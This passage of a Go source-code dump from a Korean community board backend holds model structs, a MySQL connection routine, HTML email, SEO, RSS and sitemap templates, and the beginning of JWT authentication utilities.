| 47 | // 게시판 레벨 제한 반환값 정의 48 | type AdminBoardLevelPolicy struct { 49 | Uid uint `json:"uid"` 50 | Admin BoardWriter `json:"admin"` 51 | Level BoardActionLevel `json:"level"` 52 | } 53 | 54 | // 게시판 설정 반환값 정의 55 | type AdminBoardResult struct { 56 | Config BoardConfig `json:"config"` 57 | Groups []Pair `json:"groups"` 58 | } 59 | 60 | // 게시판 포인트 정책 반환값 정의 61 | type AdminBoardPointPolicy struct { 62 | Uid uint `json:"uid"` 63 | BoardActionPoint 64 | } 65 | 66 | // 게시판 생성하기 시 반환값 정의 67 | type AdminCreateBoardResult struct { 68 | Uid uint `json:"uid"` 69 | Type Board `json:"type"` 70 | Name string `json:"name"` 71 | Info string `json:"info"` 72 | Manager Pair `json:"manager"` 73 | } 74 | 75 | // 대시보드 아이템(그룹, 게시판, 회원 최신순 목록) 반환값 정의 76 | type AdminDashboardItem struct { 77 | Groups []Pair `json:"groups"` 78 | Boards []Pair `json:"boards"` 79 | Members []BoardWriter `json:"members"` 80 | } 81 | 82 | // 대시보드 최근 (댓)글 목록 반환값 정의 83 | type AdminDashboardLatestContent struct { 84 | AdminDashboardReport 85 | Id string `json:"id"` 86 | Type Board `json:"type"` 87 | } 88 | 89 | // 대시보드 최근 신고 목록 반환값 정의 90 | type AdminDashboardReport struct { 91 | Uid uint `json:"uid"` 92 | Content string `json:"content"` 93 | Writer BoardWriter `json:"writer"` 94 | } 95 | 96 | // 대시보드 최근 (댓)글, 신고 목록 최신순 반환값 정의 97 | type AdminDashboardLatest struct { 98 | Posts []AdminDashboardLatestContent `json:"posts"` 99 | Comments []AdminDashboardLatestContent `json:"comments"` 100 | Reports []AdminDashboardReport `json:"reports"` 101 | } 102 | 103 | // 대시보드 최근 통계들 반환값 정의 104 | type AdminDashboardStatisticResult struct { 105 | Visit AdminDashboardStatistic `json:"visit"` 106 | Member AdminDashboardStatistic `json:"member"` 107 | Post AdminDashboardStatistic `json:"post"` 108 | Reply AdminDashboardStatistic `json:"reply"` 109 | File AdminDashboardStatistic `json:"file"` 110 | Image AdminDashboardStatistic `json:"image"` 111 | } 112 | 113 | // 대시보드 최근 통계 반환값 정의 114 | type AdminDashboardStatistic struct { 115 | History []AdminDashboardStatus `json:"history"` 116 | Total uint `json:"total"` 117 | } 118 | 119 | // 대시보드 일자별 데이터 반환값 정의 120 | type AdminDashboardStatus struct { 121 | Date uint64 `json:"date"` 122 | Visit uint `json:"visit"` 123 | } 124 | 125 | // 그룹 관리화면 게시판 (및 통계) 목록 반환값 정의 126 | type AdminGroupBoardItem struct { 127 | AdminGroupConfig 128 | Id string `json:"id"` 129 | Type Board `json:"type"` 130 | Name string `json:"name"` 131 | Info string `json:"info"` 132 | Total AdminGroupBoardStatus `json:"total"` 133 | } 134 | 135 | // 게시판 별 간단 통계 반환값 정의 136 | type AdminGroupBoardStatus struct { 137 | Post uint `json:"post"` 138 | Comment uint `json:"comment"` 139 | File uint `json:"file"` 140 | Image uint `json:"image"` 141 | } 142 | 143 | // 그룹 설정 및 소속 게시판들 정보 반환값 정의 144 | type AdminGroupListResult struct { 145 | Config AdminGroupConfig `json:"config"` 146 | Boards []AdminGroupBoardItem `json:"boards"` 147 | } 148 | 149 | // 그룹 관리화면 일반 설정들 반환값 정의 150 | type AdminGroupConfig struct { 151 | Uid uint `json:"uid"` 152 | Id string `json:"id"` 153 | Count uint `json:"count"` 154 | Manager BoardWriter `json:"manager"` 155 | } 156 | 157 | // 최근 (댓)글 출력에 필요한 공통 반환값 정의 158 | type AdminLatestCommon struct { 159 | Uid uint `json:"uid"` 160 | Id string `json:"id"` 161 | Type Board `json:"type"` 162 | Like uint `json:"like"` 163 | Date uint64 `json:"date"` 164 | Status Status `json:"status"` 165 | Writer BoardWriter `json:"writer"` 166 | } 167 | 168 | // 최근 댓글 반환값 정의 169 | type AdminLatestComment struct { 170 | AdminLatestCommon 171 | Content string `json:"content"` 172 | PostUid uint `json:"postUid"` 173 | } 174 | 175 | // 최근 댓글 및 max uid 반환값 정의 176 | type AdminLatestCommentResult struct { 177 | Comments []AdminLatestComment `json:"comments"` 178 | MaxUid uint `json:"maxUid"` 179 | } 180 | 181 | // (댓)글 검색하기에 필요한 파라미터 정의 182 | type AdminLatestParameter struct { 183 | Page uint 184 | Bunch uint 185 | MaxUid uint 186 | Option Search 187 | Keyword string 188 | } 189 | 190 | // 신고 목록 검색하기에 필요한 파라미터 정의 191 | type AdminReportParameter struct { 192 | AdminLatestParameter 193 | IsSolved bool 194 | } 195 | 196 | // 최근 글 반환값 정의 197 | type AdminLatestPost struct { 198 | AdminLatestCommon 199 | Title string `json:"title"` 200 | Comment uint `json:"comment"` 201 | Hit uint `json:"hit"` 202 | } 203 | 204 | // 최근 글 및 max uid 반환값 정의 205 | type AdminLatestPostResult struct { 206 | Posts []AdminLatestPost `json:"posts"` 207 | MaxUid uint `json:"maxUid"` 208 | } 209 | 210 | // 신고 목록 반환값 정의 211 | type AdminReportItem struct { 212 | To BoardWriter `json:"to"` 213 | From BoardWriter `json:"from"` 214 | Request string `json:"request"` 215 | Response string `json:"response"` 216 | Date uint64 `json:"date"` 217 | } 218 | 219 | // 신고 목록 및 max uid 반환값 정의 220 | type AdminReportResult struct { 221 | Reports []AdminReportItem `json:"reports"` 222 | MaxUid uint `json:"maxUid"` 223 | } 224 | 225 | // 사용자 목록 검색하기에 필요한 파라미터 정의 226 | type AdminUserParameter struct { 227 | AdminLatestParameter 228 | IsBlocked bool 229 | } 230 | 231 | // 사용자 목록 검색하기 반환값 정의 232 | type AdminUserItem struct { 233 | UserBasicInfo 234 | Id string `json:"id"` 235 | Level uint `json:"level"` 236 | Point uint `json:"point"` 237 | Signup uint64 `json:"signup"` 238 | } 239 | 240 | // 사용자 목록 검색 결과 및 max uid 반환값 정의 241 | type AdminUserItemResult struct { 242 | User []AdminUserItem `json:"user"` 243 | MaxUid uint `json:"maxUid"` 244 | } 245 | 246 | // 사용자 정보 반환값 정의 247 | type AdminUserInfo struct { 248 | BoardWriter 249 | Id string `json:"id"` 250 | Level uint `json:"level"` 251 | Point uint `json:"point"` 252 | } 253 | -------------------------------------------------------------------------------- /pkg/models/auth_model.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | // 회원가입 시 리턴 타입 4 | type SignupResult struct { 5 | Sendmail bool `json:"sendmail"` 6 | Target uint `json:"target"` 7 | } 8 | 9 | // 인증 완료하기 파라미터 10 | type VerifyParameter struct { 11 | Target uint 12 | Code string 13 | Id string 14 | Password string 15 | Name string 16 | } 17 | 18 | // 비밀번호 초기화 시 리턴 타입 19 | type ResetPasswordResult struct { 20 | Sendmail bool `json:"sendmail"` 21 | } 22 | 23 | // 구글 OAuth 응답 24 | type GoogleUser struct { 25 | ID string `json:"id"` 26 | Email string `json:"email"` 27 | Name string `json:"name"` 28 | Picture string `json:"picture"` 29 | } 30 | 31 | // 네이버 OAuth 응답 32 | type NaverUser struct { 33 | Response struct { 34 | Email string `json:"email"` 35 | Nickname string `json:"nickname"` 36 | ProfileImage string `json:"profile_image"` 37 | } `json:"response"` 38 | } 39 | 40 | // 카카오 OAuth 응답 41 | type KakaoUser struct { 42 | ID int64 `json:"id"` 43 | KakaoAccount struct { 44 | Email string `json:"email"` 45 | Profile struct { 46 | Nickname string `json:"nickname"` 47 | ProfileImageUrl string `json:"profile_image_url"` 48 | } `json:"profile"` 49 | } `json:"kakao_account"` 50 | } 51 | 52 | // 인증 메일 발송에 필요한 파라미터 정의 53 | type SignupParameter struct { 54 | ID string 55 | Password string 56 | Name string 57 | Hostname string 58 | } 59 | 60 | // JWT 컨텍스트 키값 설정 61 | type ContextKey string 62 | 63 | var JwtClaimsKey = ContextKey("jwtClaims") 64 | 65 | // JWT 오류 코드 정의 66 | const ( 67 | JWT_EMPTY_TOKEN = -10 + iota 68 | JWT_NOT_BEARER 69 | JWT_INVALID_TOKEN 70 | JWT_NO_CLAIMS 71 | JWT_NO_UID 72 | ) -------------------------------------------------------------------------------- /pkg/models/chat_model.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | // 쪽지 목록용 정보 4 | type ChatItem struct { 5 | Sender UserBasicInfo `json:"sender"` 6 | Uid uint `json:"uid"` 7 | Message string `json:"message"` 8 | Timestamp uint64 `json:"timestamp"` 9 | } 10 | 11 | // 쪽지 내용 보기용 정보 12 | type ChatHistory struct { 13 | Uid uint `json:"uid"` 14 | UserUid uint `json:"userUid"` 15 | Message string `json:"message"` 16 | Timestamp uint64 `json:"timestamp"` 17 | } 18 | -------------------------------------------------------------------------------- /pkg/models/comment_model.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | // 댓글 목록 가져오기에 필요한 파라미터 정의 4 | type CommentListParameter struct { 5 | BoardUid uint 6 | PostUid uint 7 | UserUid uint 8 | Page uint 9 | Bunch uint 10 | SinceUid uint 11 | Direction Paging 12 | } 13 | 14 | // 댓글 내용 항목 정의 15 | type CommentItem struct { 16 | Uid uint `json:"uid"` 17 | ReplyUid uint `json:"replyUid"` 18 | PostUid uint `json:"postUid"` 19 | Writer BoardWriter `json:"writer"` 20 | Like uint `json:"like"` 21 | Liked bool `json:"liked"` 22 | Submitted uint64 `json:"submitted"` 23 | Modified uint64 `json:"modified"` 24 | Status Status `json:"status"` 25 | Content string `json:"content"` 26 | } 27 | 28 | // 댓글 목록 가져오기 결과 정의 29 | type CommentListResult struct { 30 | BoardUid uint `json:"boardUid"` 31 | SinceUid uint `json:"sinceUid"` 32 | TotalCommentCount uint `json:"totalCommentCount"` 33 | Comments []CommentItem `json:"comments"` 34 | } 35 | 36 | // 댓글에 좋아요 처리에 필요한 파라미터 정의 37 | type CommentLikeParameter struct { 38 | BoardUid uint 39 | CommentUid uint 40 | UserUid uint 41 | Liked bool 42 | } 43 | 44 | // 댓글 수정하기에 필요한 파라미터 정의 45 | type CommentModifyParameter struct { 46 | CommentWriteParameter 47 | CommentUid uint 48 | } 49 | 50 | // 답글 작성하기에 필요한 파라미터 정의 51 | type CommentReplyParameter struct { 52 | CommentWriteParameter 53 | ReplyTargetUid uint 54 | } 55 | 56 | // 새 댓글 작성하기에 필요한 파라미터 정의 57 | type CommentWriteParameter struct { 58 | BoardUid uint 59 | PostUid uint 60 | UserUid uint 61 | Content string 62 | } 63 | -------------------------------------------------------------------------------- /pkg/models/common_model.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | // 가장 기본적인 서버 응답 4 | type ResponseCommon struct { 5 | Success bool `json:"success"` 6 | Error string `json:"error"` 7 | Code Code `json:"code"` 8 | Result interface{} `json:"result"` 9 | } 10 | 11 | // 게시판 테이블 정의 12 | type Table string 13 | 14 | // 게시판 테이블 이름들 정리 15 | const ( 16 | TABLE_BOARD Table = "board" 17 | TABLE_BOARD_CAT Table = "board_category" 18 | TABLE_CHAT Table = "chat" 19 | TABLE_COMMENT Table = "comment" 20 | TABLE_COMMENT_LIKE Table = "comment_like" 21 | TABLE_EXIF Table = "exif" 22 | TABLE_FILE Table = "file" 23 | TABLE_FILE_THUMB Table = "file_thumbnail" 24 | TABLE_GROUP Table = "group" 25 | TABLE_HASHTAG Table = "hashtag" 26 | TABLE_IMAGE Table = "image" 27 | TABLE_IMAGE_DESC Table = "image_description" 28 | TABLE_NOTI Table = "notification" 29 | TABLE_POINT_HISTORY Table = "point_history" 30 | TABLE_POST Table = "post" 31 | TABLE_POST_HASHTAG Table = "post_hashtag" 32 | TABLE_POST_LIKE Table = "post_like" 33 | TABLE_REPORT Table = "report" 34 | TABLE_TRADE Table = "trade" 35 | TABLE_USER Table = "user" 36 | TABLE_USER_ACCESS Table = "user_access_log" 37 | TABLE_USER_BLOCK Table = "user_black_list" 38 | TABLE_USER_PERM Table = "user_permission" 39 | TABLE_USER_TOKEN Table = "user_token" 40 | TABLE_USER_VERIFY Table = "user_verification" 41 | ) 42 | 43 | // 고유값과 이름 구조체 정의 44 | type Pair struct { 45 | Uid uint `json:"uid"` 46 | Name string `json:"name"` 47 | } 48 | -------------------------------------------------------------------------------- /pkg/models/connect.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | import ( 4 | "database/sql" 5 | "fmt" 6 | "log" 7 | "strconv" 8 | "time" 9 | 10 | _ "github.com/go-sql-driver/mysql" 11 | "github.com/validpublic/goapi/internal/configs" 12 | ) 13 | 14 | func Connect(cfg *configs.Config) *sql.DB { 15 | addr := fmt.Sprintf("tcp(%s:%s)", cfg.DBHost, cfg.DBPort) 16 | if len(cfg.DBSocket) > 0 { 17 | addr = fmt.Sprintf("unix(%s)", cfg.DBSocket) 18 | } 19 | log.Printf("🕑 Connect to the database by %s ...\n", addr) 20 | 21 | dsn := fmt.Sprintf("%s:%s@%s/%s?charset=utf8mb4&loc=Local", 22 | cfg.DBUser, cfg.DBPass, addr, cfg.DBName) 23 | 24 | db, err := sql.Open("mysql", dsn) 25 | if err != nil { 26 | log.Fatal("🞬 Failed to connect to database: ", err) 27 | } 28 | 29 | if err = db.Ping(); err != nil { 30 | log.Fatal("🞬 Database ping failed: ", err) 31 | } 32 | 33 | maxIdle, err := strconv.ParseInt(cfg.DBMaxIdle, 10, 32) 34 | if err != nil { 35 | maxIdle = 10 36 | } 37 | maxOpen, err := strconv.ParseInt(cfg.DBMaxOpen, 10, 32) 38 | if err != nil { 39 | maxOpen = 10 40 | } 41 | 42 | db.SetMaxIdleConns(int(maxIdle)) 43 | db.SetMaxOpenConns(int(maxOpen)) 44 | db.SetConnMaxLifetime(3 * time.Minute) 45 | 46 | log.Printf("✔︎ Max idle connections: %s\n", cfg.DBMaxIdle) 47 | log.Printf("✔︎ Max open connections: %s\n", cfg.DBMaxOpen) 48 | log.Println("✔︎ Max lifetime of conn: 3 minutes") 49 | log.Println("✅ Database connected successfully, good to go!") 50 | return db 51 | } 52 | -------------------------------------------------------------------------------- /pkg/models/home_model.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | import "html/template" 4 | 5 | // 버전 응답 구조체 6 | type HomeVisitResult struct { 7 | Success bool `json:"success"` 8 | OfficialWebsite string `json:"officialWebsite"` 9 | Version string `json:"version"` 10 | License string `json:"license"` 11 | Github string `json:"github"` 12 | } 13 | 14 | // 홈 사이드바에 출력할 게시판 목록 형태 정의 15 | type HomeSidebarBoardResult struct { 16 | Id string `json:"id"` 17 | Type Board `json:"type"` 18 | Name string `json:"name"` 19 | Info string `json:"info"` 20 | } 21 | 22 | // 최근 게시글 가져올 때 필요한 파라미터 정의 23 | type HomePostParameter struct { 24 | SinceUid uint 25 | Bunch uint 26 | Option Search 27 | Keyword string 28 | UserUid uint 29 | BoardUid uint 30 | } 31 | 32 | // 홈 사이드바에 출력할 그룹 목록 형태 정의 33 | type HomeSidebarGroupResult struct { 34 | Group string `json:"group"` 35 | Boards []HomeSidebarBoardResult `json:"boards"` 36 | } 37 | 38 | // 최근 게시글들 최종 리턴 타입 정의 39 | type BoardHomePostItem struct { 40 | BoardCommonPostItem 41 | BoardCommonListItem 42 | Id string `json:"id"` 43 | Type Board `json:"type"` 44 | UseCategory bool `json:"useCategory"` 45 | } 46 | 47 | // 최근 게시글들 최종 리턴 타입 및 게시판 정보 정의 48 | type BoardHomePostResult struct { 49 | Items []BoardHomePostItem `json:"items"` 50 | Config BoardConfig `json:"config"` 51 | } 52 | 53 | // 최근 게시글 리턴 타입 정의 54 | type HomePostItem struct { 55 | BoardCommonPostItem 56 | BoardUid uint `json:"boardUid"` 57 | UserUid uint `json:"userUid"` 58 | CategoryUid uint `json:"categoryUid"` 59 | } 60 | 61 | // 사이트맵 구조체 정의 62 | type HomeSitemapURL struct { 63 | Loc string 64 | LastMod string 65 | ChangeFreq string 66 | Priority string 67 | } 68 | 69 | // SEO 메인화면에 출력할 구조체 정의 70 | type HomeMainPage struct { 71 | PageTitle string 72 | PageUrl string 73 | Version string 74 | Articles []HomeMainArticle 75 | } 76 | 77 | // SEO 메인화면에 보여줄 article 구조체 정의 78 | type HomeMainArticle struct { 79 | Cover string 80 | Content template.HTML 81 | Comments []HomeMainComment 82 | Date string 83 | Hashtags []Pair 84 | Like uint 85 | Name string 86 | Title string 87 | Url string 88 | } 89 | 90 | // SEO 메인화면에 보여줄 댓글 구조체 정의 91 | type HomeMainComment struct { 92 | Content template.HTML 93 | Date string 94 | Like uint 95 | Name string 96 | } 97 | -------------------------------------------------------------------------------- /pkg/models/noti_model.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | // 새 알림 추가 파라미터 정의 4 | type InsertNotificationParameter struct { 5 | ActionUserUid uint 6 | TargetUserUid uint 7 | NotiType Noti 8 | PostUid uint 9 | CommentUid uint 10 | } 11 | 12 | // 알림내용 조회 항목 정의 13 | type NotificationItem struct { 14 | Uid uint `json:"uid"` 15 | FromUser UserBasicInfo `json:"fromUser"` 16 | Type Noti `json:"type"` 17 | Id string `json:"id"` 18 | BoardType Board `json:"boardType"` 19 | PostUid uint `json:"postUid"` 20 | Checked bool `json:"checked"` 21 | Timestamp uint64 `json:"timestamp"` 22 | } 23 | 24 | // 알림 타입 재정의 25 | type Noti uint8 26 | 27 | // 알림 타입 고유값들 28 | const ( 29 | NOTI_LIKE_POST Noti = iota 30 | NOTI_LIKE_COMMENT 31 | NOTI_LEAVE_COMMENT 32 | NOTI_REPLY_COMMENT 33 | NOTI_CHAT_MESSAGE 34 | ) 35 | -------------------------------------------------------------------------------- /pkg/models/sync_model.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | // 첨부 파일 및 이미지 썸네일 반환 타입 정의 4 | type SyncImageItem struct { 5 | Uid uint `json:"uid"` 6 | File string `json:"file"` 7 | Name string `json:"name"` 8 | Thumb string `json:"thumb"` 9 | Full string `json:"full"` 10 | Desc string `json:"desc"` 11 | Exif BoardExif `json:"exif"` 12 | } 13 | 14 | // 동기화 시킬 데이터 결과 타입 정의 15 | type SyncPostItem struct { 16 | Id string `json:"id"` 17 | No uint `json:"no"` 18 | Title string `json:"title"` 19 | Content string `json:"content"` 20 | Submitted uint64 `json:"submitted"` 21 | Name string `json:"name"` 22 | Tags []string `json:"tags"` 23 | Images []SyncImageItem `json:"images"` 24 | } 25 | -------------------------------------------------------------------------------- /pkg/models/trade_model.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | // 물품 거래 공통 항목 정의 4 | type TradeCommonItem struct { 5 | Brand string `json:"brand"` 6 | ProductCategory uint8 `json:"productCategory"` 7 | Price uint `json:"price"` 8 | ProductCondition uint8 `json:"productCondition"` 9 | Location string `json:"location"` 10 | ShippingType uint8 `json:"shippingType"` 11 | Status uint8 `json:"status"` 12 | } 13 | 14 | // 물품 거래 작성용 파라미터 정의 15 | type TradeWriterParameter struct { 16 | TradeCommonItem 17 | PostUid uint 18 | UserUid uint 19 | } 20 | 21 | // 물품 거래 내용 정의 22 | type TradeResult struct { 23 | TradeCommonItem 24 | Uid uint `json:"uid"` 25 | Completed uint64 `json:"completed"` 26 | } 27 | 28 | // 거래 상태값 정의 29 | const ( 30 | TRADE_OPEN = iota 31 | TRADE_IN_PROGRESS 32 | TRADE_DONE 33 | TRADE_NOT_AVAILABLE 34 | ) 35 | -------------------------------------------------------------------------------- /pkg/models/user_model.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | import "mime/multipart" 4 | 5 | // Authorization 키 값 지정 6 | const AUTH_KEY = "Authorization" 7 | 8 | // (공개된) 사용자 정보 9 | type UserInfoResult struct { 10 | Uid uint `json:"uid"` 11 | Name string `json:"name"` 12 | Profile string `json:"profile"` 13 | Level uint `json:"level"` 14 | Signature string `json:"signature"` 15 | Signup uint64 `json:"signup"` 16 | Signin uint64 `json:"signin"` 17 | Admin bool `json:"admin"` 18 | Blocked bool `json:"blocked"` 19 | } 20 | 21 | // (로그인 한) 내 정보 22 | type MyInfoResult struct { 23 | UserInfoResult 24 | Id string `json:"id"` 25 | Point uint `json:"point"` 26 | Token string `json:"token"` 27 | Refresh string `json:"refresh"` 28 | } 29 | 30 | // 액션 타입 재정의 31 | type UserAction uint8 32 | 33 | // 액션 고유 값들 34 | const ( 35 | USER_ACTION_WRITE_POST UserAction = iota 36 | USER_ACTION_WRITE_COMMENT 37 | USER_ACTION_SEND_CHAT 38 | USER_ACTION_SEND_REPORT 39 | ) 40 | 41 | // 액션 이름 반환 42 | func (a UserAction) String() string { 43 | switch a { 44 | case USER_ACTION_WRITE_COMMENT: 45 | return "write_comment" 46 | case USER_ACTION_SEND_CHAT: 47 | return "send_chat" 48 | case USER_ACTION_SEND_REPORT: 49 | return "send_report" 50 | default: 51 | return "write_post" 52 | } 53 | } 54 | 55 | // 사용자 포인트 변경 이력 타입 정의 56 | type PointAction uint 57 | 58 | // 포인트 변경 액션들 59 | const ( 60 | POINT_ACTION_VIEW PointAction = iota 61 | POINT_ACTION_WRITE 62 | POINT_ACTION_COMMENT 63 | POINT_ACTION_DOWNLOAD 64 | ) 65 | 66 | // 포인트 변경 액션 이름 반환 67 | func (pa PointAction) String() string { 68 | switch pa { 69 | case POINT_ACTION_WRITE: 70 | return "write" 71 | case POINT_ACTION_COMMENT: 72 | return "comment" 73 | case POINT_ACTION_DOWNLOAD: 74 | return "download" 75 | default: 76 | return "view" 77 | } 78 | } 79 | 80 | // 포인트 변경 파라미터 정의 81 | type UpdatePointParameter struct { 82 | UserUid uint 83 | BoardUid uint 84 | Action PointAction 85 | Point int 86 | } 87 | 88 | // 내 정보 수정하기 파라미터 정의 89 | type UpdateUserInfoParameter struct { 90 | UserUid uint 91 | Name string 92 | Signature string 93 | Password string 94 | Profile *multipart.FileHeader 95 | OldProfile string 96 | } 97 | 98 | // 사용자의 권한 정보들 99 | type UserPermissionResult struct { 100 | WritePost bool `json:"writePost"` 101 | WriteComment bool `json:"writeComment"` 102 | SendChatMessage bool `json:"sendChatMessage"` 103 | SendReport bool `json:"sendReport"` 104 | } 105 | 106 | // 사용자 권한 및 로그인, 신고 내역 정의 107 | type UserPermissionReportResult struct { 108 | UserPermissionResult 109 | Login bool `json:"login"` 110 | UserUid uint `json:"userUid"` 111 | Response string `json:"response"` 112 | } 113 | 114 | // 사용자의 최소 기본 정보들 115 | type UserBasicInfo struct { 116 | UserUid uint `json:"uid"` 117 | Name string `json:"name"` 118 | Profile string `json:"profile"` 119 | } 120 | -------------------------------------------------------------------------------- /pkg/models/util_model.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | // 업로드 폴더의 하위 폴더들 4 | type UploadCategory string 5 | 6 | // 하위 폴더들의 상수 정의 7 | const ( 8 | UPLOAD_ATTACH UploadCategory = "attachments" 9 | UPLOAD_IMAGE UploadCategory = "images" 10 | UPLOAD_PROFILE UploadCategory = "profile" 11 | UPLOAD_TEMP UploadCategory = "temp" 12 | UPLOAD_THUMB UploadCategory = "thumbnails" 13 | ) 14 | 15 | // uid, id, name 3개를 담는 구조체 16 | type Triple struct { 17 | Pair 18 | Id string `json:"id"` 19 | } 20 | 21 | // 에러 코드 정의 22 | type Code uint 23 | 24 | // 에러 타입 상수 정의 25 | const ( 26 | CODE_SUCCESS Code = iota 27 | CODE_NOT_ADMIN 28 | CODE_INVALID_TOKEN 29 | CODE_INVALID_PARAMETER 30 | CODE_FAILED_OPERATION 31 | CODE_DUPLICATED_VALUE 32 | CODE_NO_PERMISSION 33 | CODE_EXCEED_SIZE 34 | CODE_EXPIRED_TOKEN 35 | ) -------------------------------------------------------------------------------- /pkg/templates/main_template.go: -------------------------------------------------------------------------------- 1 | package templates 2 | 3 | const MainPageBody = ` 4 | 14 | 15 | 16 | 17 | 18 | 24 | 25 | 26 | 27 | 28 | 29 | 33 | 201 | {{.PageTitle}} 202 | 203 | 204 |
205 |
206 |

207 | {{.PageTitle}} 212 |

213 |
214 | 215 |
216 | 217 |
218 |

219 | This page has been created to help search engines easily index the {{.PageTitle}} site.
220 | For the page intended for actual users, please click here to visit. 221 |

222 |
223 | 224 | {{- range .Articles }} 225 |
226 |
227 | 228 |
229 |
230 |

231 | {{.Title}} 232 |

233 |
234 |
235 | {{.Date}} / 236 | / 237 | written by {{.Name}} 238 |
239 |
{{.Content}}
240 |
241 |
242 |
243 |
    244 | {{- range .Hashtags }} 245 |
  • {{.Name}}
  • 246 | {{- end }} 247 |
248 |
249 |
250 |
    251 | {{- range .Comments }} 252 |
  • 253 |
    {{.Content}}
    254 |
    255 | {{.Date}} / 256 | / 257 | written by {{.Name}} 258 |
    259 |
  • 260 | {{- end }} 261 |
262 |
263 |
264 | {{- end }} 265 |
266 | 267 |
268 |

269 | This page has been created to help search engines easily index the {{.PageTitle}} site.
270 | For the page intended for actual users, please click here to visit. 271 |

272 |

273 | tsboard.dev 279 |

280 |
281 |
282 | 283 | 284 | ` 285 | -------------------------------------------------------------------------------- /pkg/templates/notice_comment.go: -------------------------------------------------------------------------------- 1 | package templates 2 | 3 | const NoticeCommentBody string = ` 4 | 5 | 6 | 7 | 8 | 9 | Notice comment notification 10 | 70 | 71 | 72 | 87 | 88 | 89 | ` 90 | -------------------------------------------------------------------------------- /pkg/templates/reset_password_template.go: -------------------------------------------------------------------------------- 1 | package templates 2 | 3 | const ResetPasswordTitle string = "[{{Host}}] Reset Your Password" 4 | const ResetPasswordBody string = ` 5 | 6 | 7 | 8 | 9 | 10 | Password Reset 11 | 63 | 64 | 65 |
66 |
67 |

Password Reset Request

68 |
69 |
70 |

Hello!

71 |

We received a request to reset your password. Click the button below to set up a new password for your account.

72 | Reset Password 73 |

If you didn't request a password reset, please ignore this email or contact support if you have any concerns.

74 |

For security reasons, this link will expire in 24 hours.

75 |
76 | 79 |
80 | 81 | 82 | ` 83 | 84 | var ResetPasswordChat string = "Request to reset password from {{Id}} ({{Uid}})" 85 | -------------------------------------------------------------------------------- /pkg/templates/rss_template.go: -------------------------------------------------------------------------------- 1 | package templates 2 | 3 | const RssBody = ` 4 | 5 | 6 | 7 | #BLOG.TITLE# 8 | #BLOG.LINK# 9 | #BLOG.INFO# 10 | #BLOG.LANG# 11 | #BLOG.DATE# 12 | #BLOG.DATE# 13 | http://blogs.law.harvard.edu/tech/rss 14 | #BLOG.GENERATOR# 15 | #BLOG.ITEM# 16 | 17 | 18 | ` -------------------------------------------------------------------------------- /pkg/templates/sitemap_template.go: -------------------------------------------------------------------------------- 1 | package templates 2 | 3 | const SitemapBody = ` 4 | 5 | {{- range . }} 6 | 7 | {{ .Loc }} 8 | {{ .LastMod }} 9 | {{ .ChangeFreq }} 10 | {{ .Priority }} 11 | 12 | {{- end }} 13 | ` 14 | -------------------------------------------------------------------------------- /pkg/templates/verification_template.go: -------------------------------------------------------------------------------- 1 | package templates 2 | 3 | const VerificationBody string = ` 4 | 5 | 6 | 7 | 8 | 9 | Verification Code 10 | 54 | 55 | 56 | 70 | 71 | 72 | ` 73 | -------------------------------------------------------------------------------- /pkg/templates/welcome_template.go: -------------------------------------------------------------------------------- 1 | package templates 2 | 3 | const WelcomeBody = ` 4 | 5 | 6 | 7 | 8 | 9 | Welcome Email 10 | 62 | 63 | 64 |
65 |
66 |

Welcome Aboard!

67 |
68 |
69 |

Congratulations on Joining, {{Name}}!

70 |

Thank you for signing up with us. You’re now all set to explore and make the most out of our platform's features and services.

71 |

To get started, click the button below to log in and begin your journey.

72 | Go to Login 73 |
74 | 77 |
78 | 79 | 80 | ` 81 | -------------------------------------------------------------------------------- /pkg/utils/auth_util.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "context" 5 | "crypto/sha256" 6 | "encoding/base64" 7 | "encoding/hex" 8 | "encoding/json" 9 | "fmt" 10 | "regexp" 11 | "strings" 12 | "time" 13 | 14 | "github.com/gofiber/fiber/v3" 15 | "github.com/golang-jwt/jwt/v5" 16 | "github.com/validpublic/goapi/internal/configs" 17 | "github.com/validpublic/goapi/pkg/models" 18 | "golang.org/x/oauth2" 19 | ) 20 | 21 | // 구조체를 JSON 형식의 문자열로 변환 22 | func ConvJsonString(value interface{}) (string, error) { 23 | data, err := json.Marshal(value) 24 | if err != nil { 25 | return "", err 26 | } 27 | encoded := base64.URLEncoding.EncodeToString(data) 28 | return encoded, nil 29 | } 30 | 31 | // 주어진 문자열을 sha256 알고리즘으로 변환 32 | func GetHashedString(input string) string { 33 | hash := sha256.New() 34 | hash.Write([]byte(input)) 35 | hashBytes := hash.Sum(nil) 36 | return hex.EncodeToString(hashBytes) 37 | } 38 | 39 | // 액세스 토큰 생성하기 (유효시간 기입 필요) 40 | func GenerateAccessToken(userUid uint, hours int) (string, error) { 41 | auth := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{ 42 | "uid": userUid, 43 | "exp": time.Now().Add(time.Hour * time.Duration(hours)).Unix(), 44 | }) 45 | return auth.SignedString([]byte(configs.Env.JWTSecretKey)) 46 | } 47 | 48 | // 리프레시 토큰 생성하기 (유효일자 기입 필요) 49 | func GenerateRefreshToken(days int) (string, error) { 50 | refresh := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{ 51 | "exp": time.Now().AddDate(0, 0, days).Unix(), 52 | }) 53 | return refresh.SignedString([]byte(configs.Env.JWTSecretKey)) 54 | } 55 | 56 | // 헤더로 넘어온 Authorization 문자열 추출해서 사용자 고유 번호 반환 57 | func ExtractUserUid(authorization string) int { 58 | if authorization == "" { 59 | return models.JWT_EMPTY_TOKEN 60 | } 61 | parts := strings.Split(authorization, " ") 62 | if len(parts) != 2 || parts[0] != "Bearer" { 63 | return models.JWT_NOT_BEARER 64 | } 65 | token, err := ValidateJWT(parts[1]) 66 | if err != nil { 67 | return models.JWT_INVALID_TOKEN 68 | } 69 | claims, ok := token.Claims.(jwt.MapClaims) 70 | if !ok { 71 | return models.JWT_NO_CLAIMS 72 | } 73 | uidFloat, ok := 